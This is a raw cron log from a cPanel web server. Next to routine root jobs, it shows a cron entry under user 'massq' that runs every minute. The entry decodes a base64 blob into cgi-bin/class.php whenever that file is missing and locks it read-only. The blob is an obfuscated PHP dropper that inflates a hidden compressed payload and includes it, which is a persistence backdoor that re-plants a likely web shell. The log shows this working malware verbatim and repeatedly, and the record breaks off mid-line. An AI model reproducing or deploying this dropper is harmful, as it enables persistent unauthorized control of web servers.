Apr  9 15:10:01 server CROND[19239]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:10:01 server CROND[19241]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 15:11:01 server CROND[19372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:12:01 server CROND[19559]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 15:12:01 server CROND[19560]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:13:01 server CROND[19673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:14:01 server CROND[19743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:15:01 server CROND[19818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:15:01 server CROND[19819]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 15:15:01 server CROND[19820]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 15:16:01 server CROND[19946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:17:01 server CROND[20098]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:18:01 server CROND[20170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:19:01 server CROND[20263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:20:01 server CROND[20334]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 15:20:01 server CROND[20336]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 15:20:01 server CROND[20338]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 15:20:01 server CROND[20337]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 15:20:01 server CROND[20339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:21:01 server CROND[20473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:22:01 server CROND[20635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 15:23:01 server CROND[20709]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQK